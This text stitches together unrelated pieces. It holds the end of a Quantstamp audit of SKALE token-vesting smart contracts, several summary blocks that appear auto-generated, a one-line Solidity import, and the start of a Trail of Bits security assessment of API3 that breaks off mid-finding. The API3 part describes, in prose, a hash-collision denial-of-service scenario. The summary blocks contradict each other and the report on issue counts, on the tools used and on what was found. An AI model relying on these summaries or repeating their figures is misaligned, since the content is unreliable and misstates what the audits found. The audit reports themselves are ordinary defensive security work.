certain invariants are true. An failure implies something that should never happen, such as integer overflow, has occurred. •assert()assert() In , use instead of on lines , , , , , , , , , , , and Recommendation:BokkyPooBahsDateTimeLibrary.sol assert require 217 232236240 244248262277281285289293QSP-7 Privileged Roles and Ownership Severity: Informational AcknowledgedStatus: , File(s) affected: Core.sol SAFT.sol Smart contracts will often have variables to designate the person with special privileges to make modifications to the smart contract. Description:owner In the Core and SAFT contracts, the owner is required to start all vesting plans, and may terminate a vesting holder at any point. Although this centralization seems natural for this type of vesting contract, users (holders) should be made aware of the roles of the owner in each contract through documentation. Recommendation:QSP-8 Unchecked address parameters Severity: Informational Fixed Status: File(s) affected: CoreEscrow.sol In , the address parameters are not checked to be non-zero. This may lead to incorrect initialization if the default values are unintentionally passed during deployment. Description:initialize() Add require-statements ensuring that each address argument is non-zero in . Recommendation: initialize() QSP-9 Unclear functionality delegate() Severity: Undetermined Fixed Status: File(s) affected: CoreEscrow.sol In , if the holder has already delegated their full vested amount to a validator, but then invokes the function again with a different , what is the result? Will fail? Description:delegate() validatorId delegationController.delegate(validatorId, amount, delegationPeriod, info); Clarify this functionality with added documentation. Recommendation: Update from Skale team: delegate() logic is handled and checked in smart contracts ( ), call is a proxy layer for beneficiaries, though not covered with error handling additionally. skale-managerdelegationController.sol ESCROW.sol Automated Analyses Slither Slither reported no issues. Mythril In , Mythril warns that an assertion (i.e., array bounds check) may fail on the following line: . Ideally, the function should first check that the exists before this array access, however since this is an external view function, there is no gas-cost implications to this assert. SAFT.getTimeOfNextUnlock()SAFTRound memory saftParams = _saftRounds[saftHolder.saftRoundId - 1]; saftHolder A similar issue was found in and . Core.getVestingCliffInMonth() Core.calculateVestedAmount() From the Skale team: the indexes in the functions above are taken from the contract's memory (not externally) thereby are correct and not checked additionally. Update: resolved.Adherence to Specification The code is well specified. Some discrepancies between the specification and the code were already noted in the findings above. Code DocumentationThe code is generally well documented. Some minor issues: 1. "An core" should be changed to "a core" throughout.2. In the functionthe comment block has the requirement "Core must be active". The core should be active. Further, the corresponding require-statement in the function should state ""Core holder is still active". CoreEscrow.retrieveAfterTermination()not all issues have been resolved. Update: Adherence to Best Practices 1. Favor usinginstead of in order to make the size of integer variables explicit. uint256 uint 2. There is commented out code that should be removed:1. SAFT.sol#79 --// SAFTRound[] private _otherPlans; 2. SAFT.sol#84-85 -- related to_holderToEscrow 3. SAFT.sol#213-217 inconnectHolderToSAFT() 4. SAFT.sol#364 ininitialize() 5. SAFT.sol#404-406 in_getNumberOfCompletedUnlocks() 6. CoreEscrow.sol#108 inretrieve() 7. Core.sol#85 --// mapping (address => uint) private _vestedAmount; 8. Core.sol#218-219 inconnectHolderToPlan() 9. Core.sol#383-388 the functiongetLockedAmountForDelegation() 3. Some functions such as, , and are cloned across multiple contracts, and could be abstracted into a library. _addMonthsAndTimePoint()_getTimePointInCorrectPeriod() _getPartPayment() 4. In, could be given an enum type. Similarly for . SAFT.addSAFTRound vestingPeriod Core.addCore() 5. The functiondoes not actually update anything. Consider renaming. SAFT.getAndUpdateLockedAmount() 6. The functiondoes not actually update anything. Consider renaming. SAFT.getAndUpdateForbiddenForDelegationAmount()7. In, the variable is declared twice. SAFT.getTimeOfNextUnlock() lockupDate 8. In, the expression is computed twice (L310, L316). SAFT.getTimeOfNextUnlock()timeHelpers.addMonths(saftHolder.startVestingTime, saftParams.lockupPeriod) 9. Inon L118-119: the check in L118 is unnecessary since . Core.approveHolder()UNKNOWN != CONFIRMATION_PENDING all issues have been resolved. Update: Test Results Test Suite Results Contract: Allocator ✓ should register beneficiary (786ms) ✓ should get beneficiary data (978ms) ✓ should not start vesting without registering beneficiary (188ms) ✓ should start vesting with registered & approved beneficiary (940ms) ✓ should stop cancelable vesting after start (2903ms) ✓ should not stop uncancelable vesting after start (2645ms) ✓ should not register Plan if sender is not a vesting manager (121ms) ✓ should not connect beneficiary to Plan if sender is not a vesting manager (210ms) ✓ should not register already registered beneficiary (930ms) ✓ should not register Plan if cliff is too big (115ms) ✓ should not register Plan if vesting interval is incorrect (116ms)✓ should not connect beneficiary to Plan if amounts incorrect (186ms) ✓ should be possible to delegate tokens in escrow if allowed (1556ms) ✓ should allow to retrieve all tokens if beneficiary is registered along time ago (1430ms) ✓ should operate with fractional payments (1753ms) ✓ should correctly operate Plan 4: one time payment (1939ms) ✓ should correctly operate Plan 5: each month payment (4177ms) ✓ should correctly operate Plan 5: each 1 day payment (6449ms) ✓ should correctly operate Plan 5: each 1 year payment (3876ms) ✓ should correctly operate Plan 6: each day payment for 3 month (45261ms) ✓ should correctly operate Plan 7: twice payment (1625ms) ✓ should not add plan with zero vesting duration (180ms) when beneficiary delegate escrow tokens ✓ should be able to cancel pending delegation request (349ms) ✓ should be able to undelegate escrow tokens (382ms) ✓ should allow to withdraw bounties (960ms) when Plans are registered at the past ✓ should unlock tokens after lockup (177ms) ✓ should be able to transfer token (1039ms) ✓ should not be able to transfer more than unlocked (1126ms) ✓ should unlock tokens first part after lockup (200ms) when all beneficiaries are registered ✓ should show balance of all escrows (212ms) ✓ All tokens should be locked of all beneficiaries (367ms) ✓ After 6 month (455ms) ✓ After 9 month (549ms) ✓ After 12 month (725ms) ✓ should be possible to send tokens (3943ms) ✓ After 15 month (545ms) ✓ After 16, 17, 18 month (1428ms) ✓ After 24, 30, 36 month (1114ms) should calculate next vest time correctly ✓ from Dec 30, year based vesting (563ms) ✓ from Dec 30, month based vesting (617ms) ✓ from Dec 30, day based vesting (717ms) 41 passing (5m) Code Coverage The code is well-covered by the test suite. File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 97.08 69.64 100 97.06 Allocator.sol 96.58 79.17 100 96.4 371,440,461,487 Escrow.sol 97.78 53.13 100 97.92 69 Permissions.sol 100 50 100 100 contracts/ interfaces/ 100 100 100 100 IContractManager.sol 100 100 100 100 ITimeHelpers.sol 100 100 100 100 contracts/ interfaces/ delegat ion/ 100100 100 100 IDelegationController.sol 100 100 100 100 IDistributor.sol 100 100 100 100 ITokenState.sol 100 100 100 100 contracts/ interfaces/ openzep pelin/ 100100 100 100 IProxyAdmin.sol 100 100 100 100 IProxyFactory.sol 100 100 100 100 All files 97.08 69.64 100 97.06 AppendixFile Signatures The following are the SHA-256 hashes of the reviewed files. A file with a different SHA-256 hash has been modified, intentionally or otherwise, after the security review. You are cautioned that a different SHA-256 hash could be (but is not necessarily) an indication of a changed condition or potential vulnerability that was not within the scope of the review. Contracts 4d0ae9cfe821957af39ca515b6ff4c0c3898f61370b51fb2b41500433bcc0bc7 ./contracts/Allocator.sol 2fcc8e6a54365d2519dac0fd7ae984f68f75f8ff5634ebf83b647c99560efd2a ./contracts/Permissions.sol b5332bbf2bff34f1dac359f825799dce5ce531d9417250a17c105b7862cd2192 ./contracts/Escrow.sol 03ffbd8b46d52e1df026870a9b9c9e73c7498268a509abf55f3c9a0260eb8517 ./contracts/interfaces/IContractManager.sol f9619b00864d00de49e55e790be5982fb5b8129b46b89ccba905e382fc51fe8a ./contracts/interfaces/ITimeHelpers.sol c664c817f9821fc45f891f0af03ea082bfd6d3fa0d9d4fcf69e038aec8e85b2d ./contracts/interfaces/openzeppelin/IProxyFactory.sol 618b203ab75e363e55497680eeb4969ea8e4e9c7fa8e79b0b0b71d14007ddd49 ./contracts/interfaces/openzeppelin/IProxyAdmin.sol a3bfc5a38b3caf625e25d6654cc5dafc67830e0dd11823d001f41afc380448c0 ./contracts/interfaces/delegation/ITokenState.sol 37bf9c07812b1adfba8c4811ef6b1613a3b4c94b3ea53787ad51c9273a2785dd ./contracts/interfaces/delegation/IDistributor.sol 0652c9818cdb040026bad6011b586d9780b4f3675d84c54c2933d5c793f56182 ./contracts/interfaces/delegation/IDelegationController.sol b5faaaac59256e0facd0ded27cbe1920d91e6ca552bf8a4f5eb07179f07d407f ./contracts/test/LockerMock.sol b051726dfdf768c0f6f298126ecedebaa50bdfd5daac4e5859f27604797c13b2 ./contracts/test/ContractManager.sol 28197c20c7e62aadab363afa20999e46aec4500031e2f3e123efbe1e5b3e436a ./contracts/test/ConstantsHolderMock.sol d5821e0e489b04360e1230e7d8319d5cea01fa71025528eb1a2bc2bf5bb1f466 ./contracts/test/ProxyFactoryMock.sol a8f56126ad4ad8c67e063a641b5717a451e63d5990cf4ecb88d85b1e0f7d8ac2 ./contracts/test/TokenStateTester.sol 9d75e4fd92df7af8f922848cc513ac2483ad06e5e0c70c42c276e0d4b10270e0 ./contracts/test/SkaleTokenTester.sol c1d797b8788804140f58b57c73676fabf466657ae5f64fe69bfa2889ab0f4917 ./contracts/test/DistributorMock.sol b7b68bc65367ce19b9da7a6212e92d9d9deaf29449863c4a89db6613955ba493 ./contracts/test/TimeHelpersTester.sol 11b0131aadafc32afc4c113652525e8f128527c1bbc73fbd25b96cd27fd2cd3d ./contracts/test/TokenLaunchManagerTester.sol a2106e94e189039dcf341e9bb98c69e77ae8b61f073ad214401592e0b87d7c08 ./contracts/test/DelegationControllerTester.sol 1bfe6a9fa226689d24996f522dfffb250539a78d188de278f85d4ac1e063e4c7 ./contracts/test/interfaces/ILocker.sol 51b24273656b8053643df601c6d1c4dd1ecbe0f5a2235550f390838904b4b682 ./contracts/test/thirdparty/Migrations.sol 251cf29182e47b7fdc593e6b0a2923587f921d319d859e3fb1eb91159b7efa2f ./contracts/test/thirdparty/BokkyPooBahsDateTimeLibrary.sol 13a0f044718497ef82e2339f3e739dffb50e858c9974fb4326bc23ae17505a48./contracts/test/utils/StringUtils.sol Tests 6a8e4d898d2ef3f0f879788f7f2fc369ca76ae0b08764815d14b9a893f04f242 ./test/Allocator.ts 6e7867b7198b66578a6dc32c8fe21e02bc069150ef272182ba6d23c618f7a280 ./test/tools/types.ts e58228b8f7b3eca303823d7c2d33156b3f12a413676022f66c1c3474e799c828 ./test/tools/vestingCalculation.ts 90c2bdf776dc095f4dd0c1f33f746bea37c81b3ad81d51571d8dc84d416ecd13 ./test/tools/elliptic- types.ts 361f1be518e213e9106378a90463ad8bb673f81ed1d2505602d12a3485a9ba52 ./test/tools/command_line.ts dbe983ad378eb15da090040af997b3ebb5cf2a1bd01b819a900f33886eb739b3 ./test/tools/time.ts 990ba91e6946ce16a6e087707238a0b50a6fbe9596e9f786ad2ee14cc3ef4519 ./test/tools/deploy/allocator.ts 035dc4d0efdde1948276f69ac00960dc4b3e2f1f32fef7792e11d797646b5e62 ./test/tools/deploy/escrow.ts 703d2e51da3fe0426847cc1d8ced2c707b50c5d6e9b67e0d43b8ef102458012e ./test/tools/deploy/contractManager.ts de7143ec7676eb978f26e9c8bb55ac861a43d4b4089ab7701d71e42335943881 ./test/tools/deploy/factory.ts 3d92b6c89781dfd476d1971283951bdb5f6941aa5148865ad87e535e4c26da8d ./test/tools/deploy/test/tokenStateTester.ts ef46653cbd3ea549621e67528508f49bae491c42f31dcef7b52e7f4b1ba3a829 ./test/tools/deploy/test/tokenLaunchManagerTester.ts 269bc5b375f09b181e5a3b4c7ef8359c397146381bc230af1e8d97f9225197f3 ./test/tools/deploy/test/proxyFactoryMock.ts e2f571b76e72739b2052eccdff5705f8a06d213f78318e055c028c8f42753be2 ./test/tools/deploy/test/skaleTokenTester.ts 9d227e2ce4b26348f4ec02b265d283102fe0a13ad75f5746b0accd8d115a531d ./test/tools/deploy/test/timeHelpersTester.ts 32bb05d05ff5171a33bba4827171d22c2cf70fa2daa65e66d7e0869b6806dbf4 ./test/tools/deploy/test/delegationControllerTester.ts 492f16224e404a5bfc2610b34041449b257e06f9f6f9680de5acc5a67351f14d ./test/tools/deploy/test/constantsHolderMock.ts Changelog 2020-08-12 - Initial report •2020-09-10 - Revised report based on commit •6c64026 About QuantstampQuantstamp is a Y Combinator-backed company that helps to secure blockchain platforms at scale using computer- aided reasoning tools, with a mission to help boost the adoption of this exponentially growing technology. With over 1000 Google scholar citations and numerous published papers, Quantstamp's team has decades of combined experience in formal verification, static analysis, and software verification. Quantstamp has also developed a protocol to help smart contract developers and projects worldwide to perform cost-effective smart contract security scans. To date, Quantstamp has protected $5B in digital asset risk from hackers and assisted dozens of blockchain projects globally through its white glove security assessment services. As an evangelist of the blockchain ecosystem, Quantstamp assists core infrastructure projects and leading community initiatives such as the Ethereum Community Fund to expedite the adoption of blockchain technology. Quantstamp's collaborations with leading academic institutions such as the National University of Singapore and MIT (Massachusetts Institute of Technology) reflect our commitment to research, development, and enabling world-class blockchain security. Timeliness of content The content contained in the report is current as of the date appearing on the report and is subject to change without notice, unless indicated otherwise by Quantstamp; however, Quantstamp does not guarantee or warrant the accuracy, timeliness, or completeness of any report you access using the internet or other means, and assumes no obligation to update any information following publication. Notice of confidentiality This report, including the content, data, and underlying methodologies, are subject to the confidentiality and feedback provisions in your agreement with Quantstamp. These materials are not to be disclosed, extracted, copied, or distributed except to the extent expressly authorized by Quantstamp. Links to other websites You may, through hypertext or other computer links, gain access to web sites operated by persons other than Quantstamp, Inc. (Quantstamp). Such hyperlinks are provided for your reference and convenience only, and are the exclusive responsibility of such web sites' owners. You agree that Quantstamp are not responsible for the content or operation of such web sites, and that Quantstamp shall have no liability to you or any other person or entity for the use of third-party web sites. Except as described below, a hyperlink from this web site to another web site does not imply or mean that Quantstamp endorses the content on that web site or the operator or operations of that site. You are solely responsible for determining the extent to which you may use any content at any other web sites to which you link from the report. Quantstamp assumes no responsibility for the use of third-party software on the website and shall have no liability whatsoever to any person or entity for the accuracy or completeness of any outcome generated by such software. Disclaimer This report is based on the scope of materials and documentation provided for a limited review at the time provided. Results may not be complete nor inclusive of all vulnerabilities. The review and this report are provided on an as-is, where- is, and as-available basis. You agree that your access and/or use, including but not limited to any associated services, products, protocols, platforms, content, and materials, will be at your sole risk. Blockchain technology remains under development and is subject to unknown risks and flaws. The review does not extend to the compiler layer, or any other areas beyond the programming language, or other programming aspects that could present security risks. A report does not indicate the endorsement of any particular project or team, nor guarantee its security. No third party should rely on the reports in any way, including for the purpose of making any decisions to buy or sell a product, service or any other asset. To the fullest extent permitted by law, we disclaim all warranties, expressed or implied, in connection with this report, its content, and the related services and products and your use thereof, including, without limitation, the implied warranties of merchantability, fitness for a particular purpose, and non-infringement. We do not warrant, endorse, guarantee, or assume responsibility for any product or service advertised or offered by a third party through the product, any open source or third-party software, code, libraries, materials, or information linked to, called by, referenced by or accessible through the report, its content, and the related services and products, any hyperlinked websites, any websites or mobile applications appearing on any advertising, and we will not be a party to or in any way be responsible for monitoring any transaction between you and any third-party providers of products or services. As with the purchase or use of a product or service through any medium or in any environment, you should use your best judgment and exercise caution where appropriate. FOR AVOIDANCE OF DOUBT, THE REPORT, ITS CONTENT, ACCESS, AND/OR USAGE THEREOF, INCLUDING ANY ASSOCIATED SERVICES OR MATERIALS, SHALL NOT BE CONSIDERED OR RELIED UPON AS ANY FORM OF FINANCIAL, INVESTMENT, TAX, LEGAL, REGULATORY, OR OTHER ADVICE. SKALE AllocatorAudit
Issues Count of Minor/Moderate/Major/Critical - Minor Issues: 3 (3 Resolved) - Moderate Issues: 2 (2 Resolved) - Major Issues: 0 (0 Resolved) - Critical Issues: 0 (0 Resolved) - Undetermined Risk Issues: 1 (1 Resolved) Minor Issues - Problem: Some functions may not behave correctly for corner-cases (Code Reference: N/A) - Fix: Additional testing to ensure edge-cases are handled properly (Code Reference: N/A) Moderate Issues - Problem: Issues related to function parameter checks (Code Reference: N/A) - Fix: Address all issues before deployment (Code Reference: N/A) Major Issues - Problem: N/A - Fix: N/A Critical Issues - Problem: N/A - Fix: N/A Observations - The code is generally well-documented and specified. - Test coverage was quite high. Conclusion We recommend addressing all issues before deployment and additional testing to ensure edge-cases are handled properly. Issues Count of Minor/Moderate/Major/Critical: Minor: 2 Moderate: 3 Major: 0 Critical: 0 Minor Issues: 2.a Problem: Unresolved TODOs (QSP-1) 2.b Fix: Fixed (QSP-1) Moderate Issues: 3.a Problem: Incorrect Unlock Times in getTimeOfNextUnlock() (QSP-2) 3.b Fix: Fixed (QSP-2) 3.c Problem: Stubfunction getAndUpdateForbiddenForDelegationAmount() (QSP-3) 3.d Fix: Fixed (QSP-3) 3.e Problem: Unclear semantics of addSAFTRound() (QSP-4) 3.f Fix: Fixed (QSP-4) Major Issues: None Critical Issues: None Observations: • The Quantstamp auditing process follows a routine series of steps including code review, testing and automated analysis, best practices review, and specific, itemized, and actionable recommendations. • The tools used for the audit were Slither v0.22.8 Issues Count of Minor/Moderate/Major/Critical Minor: 1 Moderate: 1 Major: 0 Critical: 0 Minor Issues 2.a Problem: In SAFT.sol#199 -// TOOD: Fix index error 2.b Fix: This has been resolved. Moderate Issues 3.a Problem: In Core.sol#219 -// TODO: Remove to allow both past and future vesting start date 3.b Fix: Revise the functionality of the two functions, add new test cases corresponding to edge-cases. Major Issues: None Critical Issues: None Observations: Consider a SAFT that lasts 2 years, vests every 1 year, and has no lockup period. Consider a with a , and this function is invoked on "Jan 1, year 1". Conclusion: The Mythril tool was used to analyze the code and several TODO statements and unclear semantics were found. All issues have been resolved with the exception of one, which is pending updates to OpenZeppelin.
// SPDX-License-Identifier: MIT pragma solidity 0.8.9; // We need to compile AirnodeRrp.sol and this is the easiest way to make hardhat do that import "@api3/airnode-protocol/contracts/rrp/AirnodeRrp.sol";
A P I 3 S e c u r i t y A s s e s s me n t March 30, 2022 Prepared for: Burak Benligiray API3 Prepared by: Simone Monica, Felipe Manzano, and Fredrik Dahlgren A b o u t T r a i l o f B i t s Founded in 2012 and headquartered in New York, Trail of Bits provides technical security assessment and advisory services to some of the world’s most targeted organizations. We combine high- end security research with a real -world attacker mentality to reduce risk and fortify code. With 80+ employees around the globe, we’ve helped secure critical software elements that support billions of end users, including Kubernetes and the Linux kernel. We maintain an exhaustive list of publications at https://github.com/trailofbits/publications , with links to papers, presentations, public audit reports, and podcast appearances. In recent years, Trail of Bits consultants have showcased cutting-edge research through presentations at CanSecWest, HCSS, Devcon, Empire Hacking, GrrCon, LangSec, NorthSec, the O’Reilly Security Conference, PyCon, REcon, Security BSides, and SummerCon. We specialize in software testing and code review projects, supporting client organizations in the technology, defense, and finance industries, as well as government entities. Notable clients include HashiCorp, Google, Microsoft, Western Digital, and Zoom. Trail of Bits also operates a center of excellence with regard to blockchain security. Notable projects include audits of Algorand, Bitcoin SV, Chainlink, Compound, Ethereum 2.0, MakerDAO, Matic, Uniswap, Web3, and Zcash. To keep up to date with our latest news and announcements, please follow @trailofbits on Twitter and explore our public repositories at https://github.com/trailofbits . To engage us directly, visit our “Contact” page at https://www.trailofbits.com/contact , or email us at info@trailofbits.com . Trail of Bits, Inc. 228 Park Ave S #80688 New York, NY 10003 https://www.trailofbits.com info@trailofbits.com T r a i l o f B i t s 1 API3 Security Assessment P U B L I C N o t i c e s a n d R e m a r k s C o p y r i g h t a n d D i s t r i b u t i o n © 2022 by Trail of Bits, Inc. All rights reserved. Trail of Bits hereby asserts its right to be identified as the creator of this report in the United Kingdom. This report is considered by Trail of Bits to be public information; it is licensed to API3 under the terms of the project statement of work and has been made public at API3’s request. Material within this report may not be reproduced or distributed in part or in whole without the express written permission of Trail of Bits. T e s t C o v e r a g e D i s c l a i m e r All activities undertaken by Trail of Bits in association with this project were performed in accordance with a statement of work and mutually agreed upon project plan. Security assessment projects are time-boxed and often reliant on information that may be provided by a client, its affiliates, or its partners. As a result, the findings documented in this report should not be considered a comprehensive list of security issues, flaws, or defects in the target system or codebase. Trail of Bits uses automated testing techniques to rapidly test the controls and security properties of software. These techniques augment our manual security review work, but each has its limitations: for example, a tool may not generate a random edge case that violates a property or may not fully complete its analysis during the allotted time. Their use is also limited by the time and resource constraints of a project. T r a i l o f B i t s 2 API3 Security Assessment P U B L I C T a b l e o f C o n t e n t s About Trail of Bits 1 Notices and Remarks 2 Table of Contents 3 Executive Summary 5 Project Summary 7 Project Goals 8 Project Targets 9 Project Coverage 10 Codebase Maturity Evaluation 12 Summary of Findings 14 Detailed Findings 15 1. Publish-subscribe protocol users are vulnerable to a denial of service 15 2. Solidity compiler optimizations can be problematic 17 3. Decisions to opt out of a monetization scheme are irreversible 18 4. Depositors can front-run request-blocking transactions 20 5. Incompatibility with non-standard ERC20 tokens 21 6. Compromise of a single oracle enables limited control of the dAPI value 22 7. Project dependencies contain vulnerabilities 23 8. DapiServer beacon data is accessible to all users 24 9. Misleading function name 26 Summary of Recommendations 27 A. Vulnerability Categories 28 T r a i l o f B i t s 3 API3 Security Assessment P U B L I C B. Code Maturity Categories 30 C. Token Integration Checklist 32 D. Code Quality Recommendations 35 E. Proof-of-Concept Exploit 38 F. Fix Log 42 T r a i l o f B i t s 4 API3 Security Assessment P U B L I C E x e c u t i v e S u m m a r y E n g a g e m e n t O v e r v i e w API3 engaged Trail of Bits to review the security of its smart contracts. From February 7 to March 4, 2022, a team of three consultants conducted a security review of the client-provided source code, with eight person-weeks of effort. Details of the project’s timeline, test targets, and coverage are provided in subsequent sections of this report. P r o j e c t S c o p e Our testing efforts were focused on the identification of flaws that could result in a compromise of confidentiality, integrity, or availability of the target system. We conducted this audit with full knowledge of the target system, including access to the source code and documentation. We performed a manual review of the project’s Solidity code, in addition to running system elements. S u m m a r y o f F i n d i n g s The audit uncovered one significant flaw that could impact system confidentiality, integrity, or availability. A summary of the findings and details on the most notable finding are provided below. E X P O S U R E A N A L Y S I S Severity Count High 2 Medium 2 Low 2 Informational 2 Undetermined 1 C A T E G O R Y B R E A K D O W N Category Count Access Controls 1 Data Validation 3 Patching 1 Timing 1 Undefined Behavior 3 T r a i l o f B i t s 5 API3 Security Assessment P U B L I C N o t a b l e F i n d i n g s A significant flaw that impacts system availability is described below. ● R i s k o f subscriptionId c o l l i s i o n s ( T O B - A P I - 1 ) In the publish-subscribe protocol, subscriptionId values represent the positions of certain data structures in a mapping. Each subscriptionId is computed as a hash of a data structure’s field values. Because the system uses abi.encodePacked with more than one dynamic type, it is possible to craft a subscriptionId collision by providing invalid field values, causing the requester using the subscriptionId to experience a denial of service (DoS). T r a i l o f B i t s 6 API3 Security Assessment P U B L I C P r o j e c t S u m m a r y C o n t a c t I n f o r m a t i o n The following managers were associated with this project: Dan Guido , Account Manager Sam Greenup , Project Manager dan@trailofbits.com sam.greenup@trailofbits.com The following engineers were associated with this project: Simone Monica , Consultant Felipe Manzano , Consultant simone.monica@trailofbits.com felipe@trailofbits.com Fredrik Dahlgren , Consultant fredrik.dahlgren@trailofbits.com P r o j e c t T i m e l i n e The significant events and milestones of the project are listed below. Date Event February 3, 2022 Pre-project kickoff call February 14, 2022 Status update meeting #1 February 24, 2022 Status update meeting #2 March 2, 2022 Status update meeting #3 March 7, 2022 Delivery of report draft and report readout meeting March 25, 2022 Addition of Fix Log ( appendix F ) T r a i l o f B i t s 7 API3 Security Assessment P U B L I C P r o j e c t G o a l s The engagement was scoped to provide a security assessment of the API3 protocol. Specifically, we sought to answer the following non-exhaustive list of questions: ● Are there appropriate access controls in place for user and admin operations? ● Could an attacker trap the system? ● Are there any DoS attack vectors? ● Do all functions have appropriate input validation? ● Could a requester be whitelisted without making the necessary payment? ● Could a sponsor withdraw more funds than the sponsor deposited? ● Could a depositor front-run a request-blocking transaction? ● Is it possible to modify an Airnode’s response? T r a i l o f B i t s 8 API3 Security Assessment P U B L I C P r o j e c t T a r g e t s The engagement involved a review and testing of the target listed below. a i r n o d e - p r o t o c o l - v 1 Repository https://github.com/api3dao/airnode/tree/v1-protocol Version 991af4d69e82c1954a5c6c8e247cde8eb76101de Type Solidity Platform Ethereum T r a i l o f B i t s 9 API3 Security Assessment P U B L I C P r o j e c t C o v e r a g e This section provides an overview of the analysis coverage of the review, as determined by our high-level engagement goals. Our approaches and their results include the following: ● protocol/ . The AirnodeProtocol contract, a singleton contract, manages access to off-chain resources called Airnodes. To provide requesters access to Airnodes, sponsors fund Airnode-controlled sponsor wallets. The AirnodeProtocol contract can also store subscriptions and premade request templates and refund departing sponsors. We performed static analysis and a manual review to test the contract’s behavior, input validation, access controls, management of subscription and sponsorship statuses, template storage, and sponsor withdrawal options. ● access-control-registry/ . This single contract allows users to manage independent tree-shaped access control tables and is referred to by other protocol contracts. It is built on top of OpenZeppelin’s AccessControl contract. We used static analysis and a manual review to test the soundness of its complex role-derivation mechanism. ● monetization/ . The monetization contracts enable requesters to be whitelisted indefinitely, by depositing a certain amount of API3 tokens, or temporarily, by providing a stablecoin payment. We manually reviewed the contracts, checking that critical operations can be performed by only certain roles, that funds cannot become stuck or be withdrawn by the wrong account, and that the basic whitelisting functionality behaves as expected. ● authorizers/ and whitelist/ . The authorizers and whitelist contracts hold a registry of authorized requesters. They allow permissioned users and users who have made a payment on a requester’s behalf to temporarily or indefinitely whitelist a requester. ● allocators/ . The allocators contracts indicate which subscriptions an Airnode needs to serve in the publish-subscribe protocol. Airnodes and relayers act on the data managed by these contracts. We performed static analysis and a manual review to test the contracts’ behavior, input validation, and access controls. ● dapis/ . The DapiServer contract implements the publish-subscribe protocol, in which Airnodes provide values for a data feed, and the median of those values represents a dAPI (a decentralized API). We focused on checking whether a user could read reported data on-chain without having been whitelisted. T r a i l o f B i t s 10 API3 Security Assessment P U B L I C C o v e r a g e L i m i t a t i o n s Because of the time-boxed nature of testing work, it is common to encounter coverage limitations. During this project, we were unable to perform comprehensive testing of the off-chain Airnode component. The architecture is heavily reliant on this component, which must check whether a requester has been whitelisted before replying to a request. We assumed the behavior of this component to be correct, but it may warrant further review. T r a i l o f B i t s 11 API3 Security Assessment P U B L I C C o d e b a s e M a t u r i t y E v a l u a t i o n Trail of Bits uses a traffic - light protocol to provide each client with a clear understanding of the areas in which its codebase is mature , immature, or underdeveloped. Deficiencies identified here often stem from root caus es within the software development life cycle that should be addressed through standardization measures ( e.g., the use of common libraries, functions, or frameworks) or training and awareness programs. Category Summary Result Arithmetic The system uses Solidity 0.8 with native overflow / underflow support throughout. However, the need to manually update the price of a token could be problematic and should be better documented. Satisfactory Auditing The API3 codebase emits events sufficient for monitoring on-chain activity. However, the documentation lacks information on the use of off-chain components in behavior monitoring as well as a formal incident response plan. Moderate Authentication / Access Controls The system correctly applies access controls to most of the functions. However, the conditionPspDapiUpdate function ( TOB-API-8 ) lacks strict access controls, and there is no documentation clearly defining the abilities and limitations of the roles in the system. Satisfactory Complexity Management The system uses a significant amount of inheritance, which makes parts of the codebase difficult to understand. Most of the functions in the codebase are small and have clear, narrow purposes, but some have incorrect NatSpec comments that misrepresent their implementation. Moderate Decentralization The API3 smart contracts are not upgradeable. However, the system includes privileged actors and would benefit from more detailed documentation on their abilities and the ways they are controlled (e.g., by an externally owned account, through a multi-signature wallet, by a decentralized autonomous organization, etc.). Moderate T r a i l o f B i t s 12 API3 Security Assessment P U B L I C Documentation The API3 whitepaper provides a high-level explanation of the product; however, the documentation is out of date, and some comments are inconsistent with the implementation. Moderate Front-Running Resistance The system is vulnerable to front-running; specifically, depositors can front-run request-blocking transactions ( TOB-API-4 ). We recommend increasing the on-chain protections against front-running. Moderate Low-Level Manipulation The use of low-level calls is limited. Some low-level calls are necessary, but their consequences could be better documented in code comments. Satisfactory Testing and Verification The unit test line coverage is high. However, the test suite does not cover enough cases ( TOB-API-3 ). Moderate T r a i l o f B i t s 13 API3 Security Assessment P U B L I C S u m m a r y o f F i n d i n g s The table below summarizes the findings of the review, including type and severity details. ID Title Type Severity 1 Publish-subscribe protocol users are vulnerable to a denial of service Data Validation High 2 Solidity compiler optimizations can be problematic Undefined Behavior Informational 3 Decisions to opt out of a monetization scheme are irreversible Undefined Behavior Medium 4 Depositors can front-run request-blocking transactions Timing Medium 5 Incompatibility with non-standard ERC20 tokens Data Validation Low 6 Compromise of a single oracle enables limited control of the dAPI value Data Validation High 7 Project dependencies contain vulnerabilities Patching Undetermined 8 DapiServer beacon data is accessible to all users Access Controls Low 9 Misleading function name Undefined Behavior Informational T r a i l o f B i t s 14 API3 Security Assessment P U B L I C D e t a i l e d F i n d i n g s 1 . P u b l i s h - s u b s c r i b e p r o t o c o l u s e r s a r e v u l n e r a b l e t o a d e n i a l o f s e r v i c e Severity: High Difficulty: Low Type: Data Validation Finding ID: TOB-API-1 Target: airnode-protocol-v1/contracts/protocol/StorageUtils.sol D e s c r i p t i o n The API3 system implements a publish-subscribe protocol through which a requester can receive a callback from an API when specified conditions are met. These conditions can be hard-coded when the Airnode is configured or stored on-chain. When they are stored on-chain, the user can call storeSubscription to establish other conditions for the callback (by specifying parameters and conditions arguments of type bytes ). The arguments are then used in abi.encodePacked , which could result in a subscriptionId collision. function storeSubscription( [...] bytes calldata parameters, bytes calldata conditions, [...] ) external override returns ( bytes32 subscriptionId) { [...] subscriptionId = keccak256 ( abi .encodePacked( chainId, airnode, templateId, parameters , conditions , relayer, sponsor, requester, fulfillFunctionId ) ); subscriptions[subscriptionId] = Subscription({ chainId: chainId, airnode: airnode, T r a i l o f B i t s 15 API3 Security Assessment P U B L I C templateId: templateId, parameters: parameters, conditions: conditions, relayer: relayer, sponsor: sponsor, requester: requester, fulfillFunctionId: fulfillFunctionId }); Figure 1.1: StorageUtils.sol#L135-L158 The Solidity documentation includes the following warning: If you use keccak256(abi.encodePacked(a, b)) and both a and b are dynamic types, it is easy to craft collisions in the hash value by moving parts of a into b and vice-versa. More specifically, abi.encodePacked("a", "bc") == abi.encodePacked("ab", "c"). If you use abi.encodePacked for signatures, authentication or data integrity, make sure to always use the same types and check that at most one of them is dynamic. Unless there is a compelling reason, abi.encode should be preferred. Figure 1.2: The Solidity documentation details the risk of a collision caused by the use of abi.encodePacked with more than one dynamic type. E x p l o i t S c e n a r i o Alice calls storeSubscription to set the conditions for a callback from a specific API to her smart contract. Eve, the owner of a competitor protocol, calls storeSubscription with the same arguments as Alice but moves the last byte of the parameters argument to the beginning of the conditions argument. As a result, the Airnode will no longer report API results to Alice’s smart contract. R e c o m m e n d a t i o n 